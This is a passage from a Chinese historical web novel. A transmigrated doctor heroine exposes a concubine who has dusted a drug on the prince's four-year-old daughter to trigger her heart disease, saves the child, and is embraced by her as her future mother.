众朝臣面面相觑,羞愤地抬不起头来。 遥想一刻钟前,他们还慷慨激昂地逼皇上必须马上剥夺萧时晏的世子之位。 结果,一盏茶还没过去,他们就要……就要啪啪啪打自己的脸? 这让他们以后还有什么脸上早朝啊! 宋武:“行,诸位大人觉得不够,那末将就继续念了!” 噗通! “皇上,臣认为,御王世子与犬子之间不过是孩童胡闹,一场误会而已,当不得真!臣愿意收回刚刚的奏请!” “对对,御王世子不过四岁,哪里会真的有什么坏心思,那就是孩子间玩耍嬉闹而已。臣等怎么会较真呢!” 最后连祁佑宗也憋屈地跪了下来:“臣鲁莽,冤枉了御王世子,还请皇上降罪!” 永熙帝看着刚刚一个个咄咄逼人的朝臣跪在地上认怂的样子,唇角勾了勾。 “墨宸,看来此事只是一个误会……” 萧墨宸:“臣弟却觉得,这并非一个误会。” 永熙帝愣住了。 萧墨宸继续道:“听闻诸位大人家中的孩子,因为时宴昨晚的恐吓,夜不能寐,惊悸啼哭不止。此事,我御王府确实有责任。所以,本王想了一个弥补诸位大人的办法!” “什……什么办法?” 萧墨宸慢条斯理道:“一个时辰前,本王已经让镇北军去诸位大人家中,将昨日受惊的几位公子全都带去了镇北军的护君营。” “从今往后一个月,诸位公子会在护君营中与镇北军众将士同吃同住、同操练同睡觉,犯了错,也会和士兵一样同受惩罚……” 此话一出,祁佑宗几人顿觉眼前一黑。 尤其是那溺爱家中幼子的,也顾不得在朝堂了,跳着脚大喊。 “御王,你怎么敢!” 那可是最苦最累,最不是人呆的军营啊! 谁不知道当兵的有多辛苦,军法有多严苛。 而他们家中的幼子都是从小被溺爱着长大的。 高床软枕,锦衣玉食。 要什么有什么,平日里连走路都要人抱着,轿子抬着。 这要是被送进镇北军折磨一个月,出来还能有个人样吗? 家中的妻子老母,更是要心疼死了! 第一百零二章 “养不熟”的夭夭 萧墨宸幽幽笑道:“本王做这一切,都是为诸位大人好,也是如你们所愿做出弥补,有何不敢?” 宋武咧着嘴哈哈笑道:“哎呀,不就是吃不好睡不好,胆子小爱做噩梦嘛!到我们镇北军一个月,别说哭闹睡不着了,老子保证他们连做梦的力气都没。还有,绝对不挑食,吃嘛嘛香!饿急了,你给他们面前放一坨屎,他们也得狼吞虎咽地吞下去。” “皇上!” 祁佑宗噗通一声跪倒在地,“御王擅自绑架臣等家中幼子,这难道是要谋反不成?” “对,还请皇上为我们做主啊!” “御王,你如此胆大妄为,难道真的要仗着镇北军在手,就不把百官和圣上放在眼里?你这是要造反不成?” 萧墨宸潋滟的桃花眸一一扫过几人。 唇角缓缓勾起戏谑又冰冷的弧度:“世人皆知,我萧墨宸只有三个月寿命,且如今双腿残废不良于行。” “你们何时见过,将死的残废谋逆篡位的?” 说着,他看向永熙帝:“皇兄,你相信臣弟会犯上作乱吗?” 永熙帝:“朕当然不信!” 祁佑宗:“可皇上,就算御王并非犯上作乱,也不能枉顾法纪,如此无法无天……” “祁尚书!” 冰冷的声音,打断了祁佑宗的话。 男人掀起浓密的长睫,看向祁佑宗。 桃花眸里渗着让人胆寒的暴戾与疯狂:“之前你不是一直在指责本王纵容儿子无法无天吗?” “那本王今日就枉顾法纪,无法无天给你们看了,你待如何?” “拿你祁家一家老小的性命、前途,还有你那女儿的太子妃之位,来和本王搏一搏吗?” “祁尚书,你敢吗?” 祁佑宗额头上开始渗出细密的汗珠。 撑在地上的手微微颤抖,掌心一片潮湿。 他敢吗? 他怎么敢啊! 萧墨宸是将死之人,他破罐子破摔,当然可以发疯。 可他不行! 他祁佑宗正官路亨通,祁家正家族鼎盛。 他哪里堵得起? 罢了罢了! 萧墨宸又不是要他儿子的命。 不过是送去军营受苦一个月而已,他……他何必豁出命跟萧墨宸这个疯子抗争? 祁佑宗低下头去,别说回答萧墨宸了,连看他一眼都不敢。 萧墨宸的视线扫过其他人:“你们呢?” 祁佑宗都不敢了。 他们哪里敢? 一个个看天看地,擦汗拨头发,就是不敢看萧墨宸。 萧墨宸这才朝皇帝拱手:“皇兄,既然事情了结,那臣弟便先告退了!” 永熙帝面色复杂地看着他,良久才挥手道:“快回去养伤吧,以后有什么事跟皇兄说,莫要再亲自操劳这些小事!” 金銮殿里,一片死寂。 所有人都用眼角余光看着、睨着,等着这个煞神消失。 然而,在轮椅被推出殿外前,却突然停了下来。 萧墨宸仿佛漫不经心的声音传来。 “本王确实只有三个月寿命了。” “但这三个月里,谁若是敢动我御王府的任何人,那就别怪本王不客气!” “毕竟诸位大人该知道,将死之人是没有理智可言的。” …… 听完影十三的讲述,姜南溪忍不住笑出声来。 看来萧墨宸真的把她昨晚的话听进去了。 不过,这位传闻暴虐弑杀的御王,其实骨子还是君子端方,遵纪守法的嘛。 对付虐杀小动物,霸凌他儿子的小畜生,竟然只是给他们安排了一个月魔鬼军训。 简直太善良了好嘛! 不过等后来姜南溪知道祁瑞斌等人在镇北军中的凄惨生活。 她就知道自己唏嘘早了。 === 御王府。 夭夭吃完早餐,就找个理由支开了李嬷嬷和香儿,要独自跑去慕华园和姜南溪碰面。 但她刚跑出两步,就被阮芷安叫住。 “小郡主,您要去哪?我陪您去吧!” 说着,露出一个亲切热情的笑容,就要上前牵起夭夭的小手。 但夭夭却后退了两步,将小手背到身后。 脑袋摇成了拨浪鼓,头顶上两个可爱的小揪揪也一晃一晃的。 “夭夭不需要人陪,夭夭要一个人出去玩!” 阮芷安皱眉:“这怎么行?小郡主你忘了吗?你有病,不能一个人出门。由我陪在你身边,这样你才能安全点。” 夭夭奶声奶气道:“可是夭夭不是一个人,夭夭很安全的。”因为夭夭身边一直有影卫姐姐跟着的。 夭夭年纪小,从小就体弱多病。 但她却比任何一个小孩都聪明、敏锐。 她甚至比萧时晏更早就发现,自己身边悄无声息跟着一个影卫姐姐。 只是这个影卫姐姐几乎不会出现。 除非是夭夭遇到生命危险。 阮芷安眸光闪了闪。 她蹲下身,一边轻轻整理夭夭的衣领,一边柔声问道:“那小郡主能不能告诉宜人,你这几日天天往外跑,是去了哪?见了什么人?” 夭夭继续摇小脑袋。 不能说! 这是她和姐姐的秘密。 随即她焦急地推了推阮芷安:“阮宜人,夭夭要走了。” 说完,小团子挣脱开阮芷安的手,哒哒哒跑走了,连一步也没有留恋回头。 真是,养不熟啊! 自己这般掏心掏肺地对两兄妹好,可却换不来他们的真心以待。 果然,不是自己的骨肉,就算对他们再好,也不过是养了一对白眼狼。 阮芷安看着小身影消失的方向,眸色沉沉。 手指慢慢的捻着。 就见细碎的近乎无色无味的粉末,随着捻动,从她的指尖掉落下来。 既然这样,那就别怪她无情了。 …… 影十三讲完金銮殿上的好戏后,就从原路飞回去了。 姜南溪这才急匆匆赶去慕华园。 “姐姐!” 一进慕华园,软乎乎的雪团子就朝着姜南溪直直扑过来,撞进她怀里。 姜南溪一把抱起她,道:“对不起,姐姐让你久等了。” 夭夭开心地把脑袋钻进姜南溪怀里一拱一拱地摇头:“不久,夭夭喜欢等姐姐!” 只是不知道为什么,今天等久了,她的头有些晕,胸口也闷闷的。 奶声奶气的声音,香香软软的小身体,还有依赖的亲昵。 试问这谁能不沦陷,谁能不萌化? 第一百零三章 你觉得是我害了夭夭? 姜南溪没忍住,在她嫩呼呼的小脸上亲了一口。 随后拿出自制的小药丸:“这瓶是补心丸,夭夭你每天晚上睡前服用一颗,每隔三天,我给你进行一次针灸,半个月后,就可以开始泡药浴了,三次药浴后,姐姐就给你做手术。” “只要手术成功,夭夭,你就能像普通孩子一样,正常地跑跳生活了。” 夭夭怔怔地接过瓷瓶,小手缓缓捏紧。 视线有些茫然地看向姜南溪,眼中逐渐浮现泪花:“真的吗?夭夭真的能像正常人一样生活吗?不会胸口疼,不会喘不上气,也不会让哥哥和爹爹担心?” 姜南溪心疼地摸了摸她的小脸:“当然是真的……咦,夭夭你脉搏怎么跳的那么快?” 这一摸脸,她察觉到了不对劲。 夭夭的皮肤触手滚烫,而且颈动脉跳的飞快。 姜南溪一惊,连忙抓起小手把脉。 而夭夭的脸色却变得越来越惨白,眼神迷离,嘴唇上也浮起了紫绀色。 “姐姐,疼……夭夭……好疼……” 她拽住自己的胸口,张大了嘴想要呼吸。 可是却吸不进任何空气,只能发出痛苦的嗬嗬声。 “夭夭,夭夭!” 夭夭伸出小手,想要去抓姜南溪的手:“姐姐……救……疼……” 夭夭好疼,姐姐,救救夭夭。 夭夭不想死。 不想父王、哥哥和姐姐伤心。 然而最终,小手还是无力地垂落下去。 心力急性衰竭! 怎么会这样? 为什么夭夭会突然病发,而且病势来的如此急如此凶? 甚至比之前那次更严重。 单靠针灸已经没办法救回来了。 姜南溪手脚冰凉。 此刻她再也顾不得系统中的急救药会不会对孩童有伤害了。 她迅速取出阿司匹林,掰了一半,用水化开,送服入夭夭口中。 同时,取出金针,扒开夭夭的衣服,就要给她扎针。 然而就在此时,一个熟悉的声音从御王府的方向传来。 “王爷,小世子,妾身刚刚就是看小郡主往这边来的。” “妾身记得,这边的园子早已废弃,里头多是碎石尘土,小郡主身体虚弱,一个人到这种地方,妾身实在放心不下……” 说话间,阮芷安已经拨开了茅草,看到躺在地上生死不知的夭夭。 她的眼里闪过一抹暗芒。 随即脸上立刻换上一副惊慌失措的神情,直直冲了过来:“小郡主,小郡主你怎么了?” “南溪县主,你对小郡主做了什么?” 姜南溪错愕地看看萧墨宸和萧时晏,又看看躺在软草堆中,脸色惨白,却掩不住雪肤玉貌的夭夭。 忍不住在心里叫了一声:卧草! 小郡主?! 让她萌到心坎里的雪团子竟然也是萧墨宸的女儿? 这男人怎么这么会生啊? 其实之前姜南溪就想过,夭夭的身份肯定非富即贵。 能如此频繁又自如地出入慕华园,应该是和御王府有些关系。 但她是真不知道,御王府除了有个小世子,竟然还有个小郡主。 所以完全没往雪团子也是萧墨宸女儿那方面去想。 “夭夭!” 萧时晏一看到昏迷的妹妹,双眼一下子红了。 他直直冲到夭夭身边,声音颤抖地问:“夭夭,夭夭你怎么了?” “南溪县主,若是小郡主有个三长两短,我绝不会跟你善罢甘休的!” 阮芷安急的眼泪一颗颗往下掉,一边对身后的婢女急切道:“妙菱,快吧匕首给我,我要放血给夭夭治疗。” “宜人,这怎么行!” 妙菱看了神色冰寒的萧墨宸一眼,焦急道,“您前几日为了小郡主的健康,刚刚才放过血,这几日又身体不适,今日要是再放血,宜人你身体哪里吃得消啊!” “不要再说了,我决不能看着小郡主出事!只要能救活小郡主,就算让我死,我也心甘情愿!快把匕首给我!” 阮芷安一把从妙菱手中夺过匕首。 随即将手腕凑到夭夭嘴边,就要割破手腕。 姜南溪连忙阻拦:“先别动夭夭,也别喂她任何东西!” 啪! 阮芷安等的就是这一刻。 她抬手狠狠打开姜南溪的手。 手中匕首仿佛不经意般,狠狠划向姜南溪面门。 姜南溪眼疾手快身体后仰躲开。 阮芷安眼中闪过一抹不甘。 但随即马上换上怒不可遏的神色,含泪斥道:“南溪县主,小郡主与你无冤无仇,你到底为什么要害她?” 姜南溪皱眉道:“我……” “南溪县主,我知道你很快就要嫁与王爷为御王妃了,所以在你眼中,小世子和小郡主就成了你的眼中钉肉中刺。您怕以后自己生的儿女没办法继承御王府,没办法再被封为郡主,所以想让小郡主彻底消失。” “可是,小郡主才四岁啊,她那么相信你,每日都开开心心地偷偷跑来与你见面。” “你给的吃食、药物,她想也不想就吃了。” “可南溪县主,您就是这么报答小郡主的真心的吗?您就真的那么狠心,为了一己私利,忍心害死一个那么天真善良的孩子吗?” 阮芷安说话间,听到动静的李嬷嬷也跌跌撞撞冲了过来。 看到地上的夭夭,再回想阮芷安的话。 李嬷嬷嗷的一嗓子哭嚎出来。 随后赤红着眼朝姜南溪扑过来:“小郡主,我可怜的小郡主,你这个恶毒的女人,老奴要杀了你替小郡主报仇!” 姜南溪侧身躲过。 李嬷嬷狼狈地跌倒在地上。 她一转头,朝着萧墨宸哭嚎:“王爷,您救救小郡主,快救救小郡主啊!” 萧墨宸沉着脸道:“姜南溪,让开!” 姜南溪抬头看向男人,神色不善道:“你也觉得是我害了夭夭?” 萧墨宸连看都没看她一眼:“你先让开,让阮宜人救治夭夭!” 推轮椅的影十三忍不住道:“南溪县主,您有所不知,阮宜人从小被当药人培养,她的血液中有特殊药物,能缓解小郡主的急性发病。您快让开啊,让阮宜人先给小郡主喂血,一会儿太医就到了,到时候小郡主会没事的。” 第一百零四章 谁敢动我的病人! 姜南溪张嘴想说话。 却感觉自己的衣服下摆被轻轻拽了一下。 她低下头,看到萧时晏通红着双目,泫然欲泣又带着祈求地看着她。 “你让阮宜人救……救妹妹好不好?” 姜南溪感觉有什么在自己胸口重重捶了一下,酸涩又委屈的难受。 萧墨宸觉得她想害死夭夭。 连萧时晏也以为她要阻挠阮芷安救人? 她露出一个苦笑,扯回自己的袖子。 萧时晏看着空荡荡的小手,忽然觉得无比恐慌。 他,他刚刚是不是说错话了? 阮芷安眼中闪过一抹得意。 她突然手中匕首寒光一闪,竟然直接在自己的手腕上割了个深深的口子。 “快让开,夭夭再不喝我的血就来不及了!” 阮芷安红着眼,举着淌血的手,就要去捏夭夭的下巴。 砰! 姜南溪狠狠一脚踹出,直接把这女人踹飞出去。 慕华园里陷入了短暂的死寂。 萧墨宸的眼中骤然闪过骇人的杀意。 “你,你干什么!宜人,宜人你怎么样?”妙菱哭着跑过去,扶起阮芷安。 李嬷嬷则歇斯底里地嚎哭起来:“王爷,王爷您看到没,这个恶毒的女人,就是成心要小郡主死啊!王爷,您快让人把这毒妇抓起来,救救小郡主啊,呜呜呜!” “影十三!” 萧墨宸的声音冷得仿佛地狱修罗,“将南溪县主带走!” 影十三皱了皱眉。 但还是依言飞掠到姜南溪身边。 “县主,属下得罪了!” 她伸手就要去抓姜南溪。 然而就在此时,一个清脆悦耳,却沁着森森寒意的女声响在所有人耳畔。 “夭夭的衣服上,被人洒了诱发心疾的药粉!阮宜人,你知道这药是谁撒上去的吗?” “什……什么?” 影十三的动作顿住了。 所有人脸上都露出震惊的表情。 姜南溪蹲下身去,拨开夭夭的衣领,从上面捻出一层细细的半透明粉末。 “我不知道这是什么药,但我若是猜的没错,这些粉末绝不是普通的尘埃,而是能诱发夭夭心疾的药物。” “王爷若不信的话,不如请医师去验一验!” 萧墨宸的瞳孔微微收缩了一下。 影十三立刻蹲下身,同样捻了一点粉末,放到舌尖舔了舔。 她的双眼倏然瞪大:“主子,这……这上面有蚀心散的气息!” 姜南溪忍不住在心里啧了一声。 她就是对这个世界的毒物和药物太不熟悉了。 所以才没有第一时间察觉夭夭的不对劲。 阮芷安眼中闪过一抹慌乱。 但马上就换上焦急又义愤填膺的神情,怒斥道:“无论小郡主是怎么被诱发的心疾,如今最紧要的,是将她救醒。南溪县主,你如此这般阻挠我救小郡主,究竟安得什么心?” “对,谁知道这什么蚀心散,是不是这毒妇自己下的,如今却来贼喊捉贼!” “影十三,你快把她拖走!” 影十三露出踌躇的神色。 直觉得,她更相信姜南溪的话。 阮芷安已经踉跄着,重新走到了姜南溪面前。 她的脸上流着泪,手上流着血,整个人看上去悲呛而凄然。 她扭头看向萧墨宸:“王爷,我知道我这个人性情无趣,没办法逗小郡主开心,所以小郡主不愿意亲近我,更喜欢跑来慕华园与南溪县主私会,这些我都能理解。” “可妾身对小郡主和小世子的爱护之心,绝不会比任何人少一分。妾身只想让小郡主好好活着。” “无论如何,这都是妾身在数九寒冬,拼了命从冰湖里救上来的孩子啊!” “若是因为南溪县主的阻拦,让妾身只能眼睁睁看着小郡主死在眼前,王爷倒不如赐妾身一死,让妾身随着小郡主一起去了吧!” 说着,她眼中的泪水滚滚而下,手中的匕首抵在胸口,一副恨不得替夭夭去死的决绝模样。 萧墨宸厉声道:“莫要胡说,夭夭不会有事,你也不会有事。让开一些!” 阮芷安噙着泪,依言让开。 萧墨宸抬手一挥。 姜南溪只觉得一股强大的气劲冲着她的胸口直扑而来。 这股内劲来的又急又快,如疾风、如飞箭。 根本就没给她躲闪的空间。 砰! 她只觉得胸口一疼,一股腥甜涌上了喉头。 身体不受控制的一晃,重重倒在地上。 “坏女人!”萧时晏惊叫一声,扑了过去。 萧墨宸看姜南溪惨白的脸色,垂在身侧的手微微攥紧。 随即厉声道:“去救夭夭!” 阮芷安眼中寒芒一闪,唇角不着痕迹地勾了勾。 迅速冲到夭夭身前,捏住她的小脸,就要将血灌入她口中。 哗! 然而,那染血的手腕还没送到夭夭嘴边。 突然,一根医用束缚带凌空飞出,直直套住了阮芷安的脖子。 紧接着,带子猛地收紧。 “让你们别碰夭夭,没听到嘛!” 阮芷安猝不及防,整个人被拖飞出去,重重跌倒在草丛中。 梳的精致漂亮的发髻直接散开。 草叶上没有清理过的灰尘纷纷扬扬落在她脸上。 瞬间将她那张俏丽的脸变成了乞丐般的狼狈脏污。 阮芷安摸着一阵阵疼痛的脖子,难以置信地看向姜南溪。 这女人疯了?! 姜南溪嘴角渗着一丝鲜血。 一双眸子却亮的惊人,仿佛在里面燃起了一团火。 她扬着下巴,直勾勾地看向萧墨宸,神色嚣张而狂傲。 “我倒要看看,在我的眼皮底下,谁敢动我的病人!” “谁敢质疑我的医术!” 整个慕华园中,陷入了死一般的静寂。 影十三和萧时晏震惊地看着姜南溪。 影十三几乎想给这位主跪下了。 她还从没见过,有人敢在盛怒的主子面前如此嚣张的。 不,在某些时候,这位南溪县主简直比主子更不可一世、更疯狂。 萧墨宸死死盯着姜南溪。 姜南溪毫不畏惧地看回去,“萧墨宸,你是不是忘了,你那镇北军伤残营的兵,是谁从鬼门关救回来的?” “如今,你在质疑我的医术?” 还有一句话,姜南溪没有当众说。 但两人都很清楚。 萧墨宸,你的命,都要靠我从阎王爷手中抢回来。 谁给你的脸,质疑我的医术? 第一百零五章 夭夭不要喝血! 萧墨宸眉头微微皱起,露出迟疑的神色。 实在是姜南溪的表现太傲、太狂。 那是连宫中最厉害的太医,也不曾有过的绝对自信。 也因为,姜南溪在伤残营展现过的医术太过惊人。 阮芷安咬了咬牙,突然尖声道:“南溪县主,你这般拖延时间,不让我救小郡主,是不是就在等着彻底害死小郡主,这样就能死无对证,任由你胡说八道了?” 姜南溪斜睨向她:“谁跟你说夭夭会死?” “没有妾身的血,小郡主根本就撑不到太医到来。” 阮芷安痛哭失声,竟噗通一声跪倒在地:“小郡主会死的啊,求求你,南溪县主,让妾身先救救小郡主吧!事后无论你想怎么惩罚妾身,妾身都绝不会有任何怨言!” 姜南溪垂眸看着她,缓缓笑了。 她把刚刚的话,又问了一遍:“谁跟你说,没有你的血,夭夭就会死?” “南溪县主!”阮芷安尖叫一声,“妾身没有在跟你开玩笑,妾身敢跟你发誓,小郡主如果不马上喝下妾身的血,她一定会死!” 阮芷安这句话刚讲完。 就听一道软软的虚弱声音从姜南溪后方传来。 “姐姐……姐姐……” 阮芷安僵住了。 姜南溪心头一跳,连忙回头,蹲下身去。 她一边拔掉夭夭身上的银针,一边单手将夭夭柔软的小身子抱起来。 “夭夭,你怎么样?有没有好一点?” 小团子眼睛湿漉漉的,声音里还带着哭腔,撒娇般道:“姐姐,夭夭不要喝血……血腥腥的,不好喝。夭夭……不喝血,好不好?” 她刚刚好像听到阮宜人要让她喝血的声音了。 可是夭夭真的好讨厌喝血啊! 浓稠的、腥臭的,仿佛在预示着她和正常小孩不一样。 她,随时会死。 姜南溪:“好,姐姐跟你保证,夭夭不用喝血,也不用吃很多苦苦的药,就能好起来。” “夭夭!夭夭你没事吧?” 萧时晏扑过来,抓住妹妹的小手。 夭夭瞪大了眼睛:“哥哥,你……你怎么在这里?” 她的视线一转,落在萧墨宸身上。 小嘴也张大了:“父,父王……” 父王怎么也在这里? 夭夭只愣了片刻,小脸顿时一白,露出慌张的神色。 她不顾身体的虚弱,挣扎着坐起身。 张开小手,努力地挡在姜南溪面前。 奶呼呼的声音带着急切道:“父王,是夭夭自己要来找姐姐的,夭夭身体很好很好的,刚刚夭夭只是睡了一觉,不是发病了,父王你不要怪姐姐,好不好?” 萧墨宸怔住了。 而姜南溪看着那么瘦小脆弱,却拼命张开小手挡在自己面前的小团子,一时喉头哽咽,说不出话来。 一股陌生的情绪涌上心头。 让她恨不得把眼前软软萌萌的小团子紧紧拥入怀中。 这一刻,姜南溪发誓。 不管付出什么代价,她一定会治好夭夭的心脏病。 而一旁的阮芷安,只觉得面皮火辣辣的,仿佛被人狠狠抽了好几个巴掌。 羞愤、嫉恨、不甘,一股脑儿涌上心头。 让她牙齿咬的咯咯作响。 夭夭见自家父王久久没有回应。 小团子急了,她挣扎着要站起来,却因为手脚酸软,重新跌回姜南溪怀中。 夭夭顿时眼圈红了,急的眼泪啪嗒啪嗒往下掉。 “父王,父王!你不要罚姐姐好不好?好不好?” 这一幕,哪怕是个铁石心肠的穷凶极恶之徒都抵抗不了。 更何况是萧墨宸。 他平日里对萧时晏这个儿子严厉、苛刻。 可是对于从小患有先天性心脏病的夭夭,却是宠到了骨子里。 当即道:“别哭了,父王没说要罚她。” 夭夭闻言,这才破涕为笑。 她担了好几天的心事放下,小脸立刻变得红扑扑的,显得格外鲜活有生气。 随后小家伙又继续得寸进尺:“父王,那夭夭能每天跟姐姐玩吗?夭夭喜欢姐姐!” 萧墨宸:“……” 夭夭都没说过喜欢他这个父王。 小团子歪了歪小脑袋,泫然欲泣,奶声奶气地问:“父王,可以吗?夭夭想每天见到姐姐,可以吗?” 这谁能说的出不可以? 萧墨宸:“可以。” 夭夭一秒变脸,破涕为笑。 转身扑进姜南溪怀里,开心地道:“姐姐,太好了,夭夭可以每天见到你了,夭夭还要邀请姐姐去府里玩。夭夭想每天跟姐姐在一起。” 姜南溪:该死的!这小娃娃是要萌死人不偿命吗? “小郡主!”正在这时,阮芷安的声音突然传来。 她不知何时走到了夭夭身后。 原本划破了伤口的手腕上,重新又划了一刀。 本已经凝固的鲜血,顿时又汩汩流淌出来。 空气中弥漫着一股浓郁的血腥味。 “小郡主,无论您喜欢谁,更想和谁一起玩。但在妾身心目中,您的性命才是最重要的。” “您刚刚才发病了,必须先喝妾身的血,否则您的心疾很快就会变重,连太医都救不了。” 夭夭一闻到血腥味,小脸就皱成了一团。 等转头看到阮芷安血淋淋往自己嘴边凑的手腕,更是吓得花容失色。 整个人拼命往姜南溪怀里钻。 口中喊着:“不要,夭夭不要喝血,血腥腥的,不好喝!” 而且,每一次喝了阮芷安的血,虽然能从鬼门关回来。 可是夭夭却觉得很不舒服。 晚上睡觉的时候一会儿冷的刺骨,一会儿又热得煎熬。 就像是被人活生生按进冰水里,等全身血液被冻僵了。 那浸泡着她的水又沸腾起来,将她一遍遍滚烧。 夭夭哭着看向姜南溪:“姐姐,夭夭不要喝血!” 随后又可怜兮兮哀求地看向萧墨宸和萧时晏:“父王,哥哥,夭夭以后可以不喝血吗?夭夭讨厌喝血!” “这怎么行!” 阮芷安猛地打断她的话。 面对夭夭时向来温和柔善的脸,此时闪过一抹狰狞,把夭夭吓了一跳。 但只是一瞬,她就换上了焦急痛心的神情。 带着哭腔道:“小郡主,不喝妾身的血,您会活不下去的啊!您可是妾身拼了半条命,才从冰湖里救起来的,妾身怎么能眼睁睁看着你去死呢!” 第一百零六章 夭夭可以叫你娘亲吗? “是啊,小郡主,老奴也知道血不好喝,可阮宜人这么做也是为了救你的命啊!”李嬷嬷也跟着劝慰道。 “您就听阮宜人的话,快把她的血喝了吧!阮宜人为了您,已经在自己身上割了两刀了。您忍心让阮宜人的牺牲,白白被糟蹋掉吗?” 夭夭年纪小,却有自己的主意。 认定的事情,就算八头牛也拉不回来。 面对阮芷安和李嬷嬷的道德绑架,她把小脑袋摇成了拨浪鼓。 “不要不要,夭夭以后都不喝血了!” 她一边说,一边用胖乎乎的小手抓住了姜南溪的手。 扬着下巴,特别自豪和开心地道:“因为夭夭有姐姐了,姐姐是天底下最最厉害的仙女姐姐,给夭夭吃甜甜的药丸,扎细细的针,夭夭就觉得很舒服,不会再沉在黑黑的地方浮不上来!” 随即,她又抬起小脸看向阮芷安,奶声奶气道:“阮宜人,夭夭知道你对夭夭很好,放血给夭夭喝,也是为了夭夭好。可是夭夭现在有仙女姐姐,不再需要喝你的血了。” “你以后不要再用刀割自己了,刀刀割在身上是很疼的。” 阮芷安脸上的表情,几乎要维持不下去。 她咬牙道:“小郡主,你年纪小,恐怕不知道,心疾的治疗没有你想的那么简单。南溪县主,她不过刚刚学医,对很多病症都不清楚,所以才说出能治好的妄言。” 夭夭不高兴道:“才不会,姐姐从不骗夭夭。而且别人治不好,不代表姐姐治不好,因为姐姐是仙女姐姐啊!” 什么仙女姐姐? 姜南溪这声名狼藉的贱人,也配叫仙女? 阮芷安的脸都要扭曲了。 她还想要再劝,却听萧墨宸冷淡的声音传来:“阮宜人,够了!” 阮芷安猛地回头,难以置信地看向萧墨宸。 够了?什么叫够了? 王爷这话是什么意思? 萧墨宸:“李嬷嬷,你带阮宜人回去,找医女替她包扎伤口。” 李嬷嬷:“可王爷……” 萧墨宸一个眼神看过去。 李嬷嬷霎时噤声:“阮宜人,你,你跟老奴回去吧!” 阮芷安垂在身侧的手死死攥成拳头。 指甲深深嵌入肉里,划破了柔嫩的掌心皮肤,她却毫无所觉。 “等一下!” 听到萧墨宸的声音,阮芷安脚步猛地一顿。 惊喜地朝他望过去:“王爷……” 王爷是不是改变心意了? 他应该很清楚。 这世上能稳定夭夭心疾发作的,只有自己的血。 然而下一刻,就听萧墨宸没有什么温度的低沉声音传来。 “阮宜人,以后夭夭的心疾你就不用管了。” 阮芷安双目骤然圆睁。 她想要尖叫,想要质问,可是对上萧墨宸那双深邃而冰冷的桃花眸。 顿时感觉自己的喉咙仿佛被一只无形的手掐住了。 再也发不出半点声音。 阮芷安失魂落魄地被妙菱和李嬷嬷架走了。 夭夭小脸上顿时绽放开如春花般灿烂的笑容。 她抓着姜南溪的手,奋力地往萧墨宸的方向拽。 口中脆生生喊着:“父王,这是仙女姐姐,仙女姐姐可厉害了……” 姜南溪和萧墨宸四目相对。 她恨不得找个地洞钻下去。 仙女姐姐什么的,实在是太羞耻了。 嗯,不过想起刚刚夭夭当着阮芷安的面,一遍遍喊她仙女姐姐的场景。 似乎……也有点暗爽! “夭夭!”萧墨宸淡淡打断女儿的童言童语,“以后不许再叫她仙女姐姐!” 随后又补充了一句:“也不许叫姐姐!” 夭夭歪了歪小脑袋:“为什么啊?” 萧墨宸还没来得及说话,就听萧时晏插嘴道。 “笨,因为她以后会是我们的嫡母,要和父王成亲的。你喊姐姐,那不是把父王喊老了,父王太老了就不能和年纪小的姐姐成亲了。所以你喊姐姐,父王当然不高兴了!” 萧墨宸脸黑了。 一个眼刀朝自己的塑料儿子飞过去。 然而萧时晏此时正眼巴巴的看着姜南溪和妹妹,根本没往他这个父王的方向看上一眼。 夭夭一时有些被绕晕了。 好半晌才从哥哥的话里提炼出重要信息。 她的眼睛一点点睁大,呆呆地看看姜南溪,又看看萧墨宸。 好半晌才呆呆道:“姐姐,你要当夭夭和哥哥的嫡母吗?” 姜南溪之前坑蒙拐骗萧墨宸娶她的时候,都没有紧张。 此时被小团子水润润的大眼睛盯着,却一时慌了手脚。 她怕夭夭会向萧时晏一样,不喜欢她这个突如其来出现的继母。 姜南溪咽了咽口水,蹲下身去和小萝莉平视。 “夭夭,你愿意让我当你的嫡母吗?” 夭夭又愣了好一会儿,才软软问:“那夭夭以后不能叫你姐姐,可以叫你娘亲吗?” 姜南溪怔住了。 夭夭又问了一遍:“夭夭可以叫你娘亲吗?” 姜南溪良久才找回自己的声音:“可以。” “娘亲!” 夭夭脆生生喊了一遍,然后软乎乎的小身子猛地扑进姜南溪怀中。 小短手将她的脖子搂的紧紧的,一边蹭一边一遍遍喊:“娘亲!娘亲!娘亲!” “夭夭终于有娘亲了,从今以后,夭夭和哥哥再也不是没有娘亲的野孩子了!” 萧时晏的眼圈红了。 姜南溪只觉得,自己的心脏仿佛被这一声声“娘亲”重重锤击着。 又用温热的泉水一遍遍浇灌。 温暖而酸涩。 她紧紧回抱住小团子,恨不得把她揉进怀里。 可恶,这样的小萌物,根本就拒绝不了啊! 这个后娘,也不是不能当! 当然,要是能去父留子女就更好了。 萧墨宸突然感觉背脊微微一寒。 萧时晏却是羡慕地看着妹妹亲昵地扑在姜南溪怀中。 垂在身侧的小手紧紧攥成了拳头。 其实,他也想要像妹妹一样,扑进坏女人的怀中。 他也想要向坏女人撒娇。 甚至,喊她……娘亲! 可是,他跟妹妹是不一样的吧? 妹妹一直那么相信坏女人,从来没有违背坏女人说的话。 而他一点都不乖。 炎炎是不乖的孩子,所以坏女人不会喜欢他的。 不会把他亲昵的抱在怀里。 更不会允许他向妹妹一样,把她当做真正的娘亲。 第一百零七章 毒发 夜,深沉如墨。 月光透过窗棂,洒在屋内,泛起一层清冷的银辉。 略显粗糙简陋的床榻上,姜南溪正闭目熟睡着。 突然,她的眉头轻轻皱起,面色逐渐变得如金纸般惨白。 额头上泛起一阵细密的汗珠。 “啊——!” 一阵急促地痛呼,从她口中发出。 姜南溪猛地睁开眼,直觉得全身痛若焚心蚀骨。 就好像有无数的小虫子在她的五脏六腑、血肉筋脉,乃至于骨髓中钻蛹啃噬。 痛! 太痛了! 姜南溪自认自己是很能忍痛的。 可此时却根本压抑不住身体的本能,口中发出断续痛楚的呻吟。 身体颤抖着蜷缩成了虾米。 豆大的汗珠从她的额头滚落,没多久就打湿了额发和衣衫。 七日断肠丸! 这是七日断肠丸发作了? 可是离七日断肠丸发作,不是还有一天时间吗? 这是姜南溪第一次体会到古代毒药发作的威力。 实在是,太特么痛了。 比她前世阑尾炎发作,却还坚持做完手术时,还要痛楚煎熬一百倍。 该死的萧墨宸! 王八蛋狗渣男!! “小姐,小姐,你怎么了?” 在隔壁守夜的金铃听到动静冲进来。 看到几乎整个人像是从水中捞出来的姜南溪,吓得花容失色。 “止痛……药!去那边瓷瓶里,拿止痛药给……给我!” 姜南溪痛到神智迷离,精神涣散。 